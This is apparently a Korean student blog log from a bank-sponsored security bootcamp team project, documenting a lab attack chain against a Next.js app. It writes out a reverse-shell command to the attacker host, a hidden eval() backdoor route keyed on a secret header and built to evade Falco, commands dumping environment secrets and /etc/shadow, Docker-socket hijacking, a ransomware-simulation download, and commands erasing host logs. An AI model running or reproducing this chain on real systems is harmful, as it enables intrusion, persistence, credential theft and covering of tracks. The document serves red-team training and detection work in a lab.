카테고리 없음

[토스뱅크 부트캠프] 팀프로젝트 Interrupt 5주차

yejiamoe 2026. 1. 20. 23:59
  • 2차 공격 시나리오 동시 실행을 위한 설정
    • 리버스쉘 포트 nc -lvnp 5555로 변경
    • 파일 명 구분 : tmp/f 와 tmp/yeji
    • 파일 명 구분에 따른 공격 명령어 변경(리버스쉘)[재변경- 둘다 백그라운드 실행]
    • node poc.mjs <http://192.168.10.62:3000> "rm /tmp/yeji; mkfifo /tmp/yeji; cat /tmp/yeji | sh -i 2>&1 | nc 192.168.10.25 5555 > /tmp/yeji"
    • 6.1. Node.js 애플리케이션 로직 오염 (Hidden Backdoor)※그냥 /app이 아니라 /app/app으로 들어가야한다는 점 참고
    • (저번에 발생했던 문제인데 현재 .ts 경로가 /react2shell-poc/app/api안에 route.ts가 있는 상태)
    • [리버스쉘 코드 수정]

[지속성 유지 확인]

  • 코드 재설정 (react2shell-poc폴더 안의 app폴더로 이어지도록)
# 1. 작업 디렉토리로 이동 (확실히 하기 위함)
cd ~/react2shell-poc

# 2. 파일 생성 (경로: app/api/route.ts)
cat <<'EOF' > app/api/route.ts
import { NextResponse } from 'next/server';

export async function GET(request: Request) {
  // 공격자만 아는 비밀 헤더 'x-debug-key' 확인
  const debugKey = request.headers.get('x-debug-key');
  const payload = request.headers.get('x-payload');

  if (debugKey === 'pwned-1234') {
    try {
      // 쉘(/bin/sh)을 쓰지 않고 Node.js 메모리 내에서 JS 코드 실행
      // Falco의 "Shell spawned" 알람을 완벽하게 우회함
      const result = eval(payload); 
      return NextResponse.json({ status: 'success', result: String(result) });
    } catch (e) {
      return NextResponse.json({ status: 'error', message: e.message }, { status: 500 });
    }
  }

  // 헤더가 없으면 일반 사용자가 보는 정상 응답 출력
  return NextResponse.json({ message: "Welcome to the API Service", timestamp: new Date() });
}
EOF

##경우별 명령어
curl http://192.168.10.62:3000/api

curl -H "x-debug-key: pwned-1234" \
     -H "x-payload: require('fs').readdirSync('.').toString()" \
     http://192.168.10.62:3000/api

curl -H "x-debug-key: pwned-1234" \
     -H "x-payload: JSON.stringify(process.env)" \
     http://192.168.10.62:3000/api

1. 일반 사용자의 경우

2. 공격자 모드(x-debug-key: pwned-1234)로 접속(파일 목록 조회)

3. 민감 정보 탈취

  • 7.2. Docker Socket Hijacking (도커 소켓 탈취)
  • [kali 설정 - 도커 정적 바이너리 준비]
##작업 디렉토리 생성 및 이동
mkdir ~/docker-bin && cd ~/docker-bin 밑에 최졷 코드 합본 보기

## 도커 정적 바이너리 파일 다운 (최신 안정화 버전 v27.4.1)
wget https://download.docker.com/linux/static/stable/x86_64/docker-27.4.1.tgz

##압축 해제 및 바이너리 추출
tar -xvzf docker-27.4.1.tgz

##준비
cd docker
sudo python3 -m http.server 80

[리버스쉘 설정]

## 도커 소켓 존재 확인
ls -l /var/run/docker.sock

## 도커 클라이언트 설치
wget -s http://192.168.10.61/docker -o /tmp/docker
chmod +x /tmp/docker

##확인 : 도커 버전 정보가 출력되면 성공
/tmp/docker version
cat /etc/shadow
ls /root
hostname

팔코 로그

먼저 노란색 부분으로 내 커스텀 룰이 잡힌 이유는 kali에서 wget 명령어를 사용하여 kali로 부터 도커 클라이언트를 다운로드 했기 때문.

 

8.1. 호스트 레벨 로그 삭제 (Host Level)

[kali 서버 설정과 파일 전송]

우리는 칼리 웹 서버를 통해서 파일을 전송할 예정

→ kali 서버에서 python3 -m http.server 8080 명령어를 실행하면 현재 명령어를 입력한 그 폴더가 웹 서버의 최상위 경로가 됨.

→ 처음에 내가 구성한 도커 바이너리 파일은 ~/docker-bin/ 폴더에 있고 웹서버는 ~/payloads/폴더에서 실행하는 구성인 경우, 타겟 시스템은 도커 파일을 찾을 수 없음

→ 기존 ‘7.2 과정’에서 진행했던 도커 바이너리 폴더를 페이로드 폴더로 복사해줌.

cd /tmp
# 기존에 깨진 파일 삭제
rm -f docker ransomware_sim.sh

# Kali 서버에서 다시 다운로드 (80 또는 8080 포트 확인)
wget http://192.168.10.25/docker
wget http://192.168.10.25/ransomware_sim.sh

# 실행 권한 부여 및 윈도우 줄바꿈 문자 제거 (가장 중요!)
chmod +x docker ransomware_sim.sh
sed -i 's/\r$//' ransomware_sim.sh

4

./docker run --rm -v /:/host ubuntu:18.04 chroot /host /bin/bash -c "
  sed -i '/192.168.10.25/d' /var/log/auth.log && \
  sed -i '/192.168.10.25/d' /var/log/syslog && \
  cat /dev/null > /var/log/wtmp && \
  echo '[!] Host Log Cleaning Complete'
"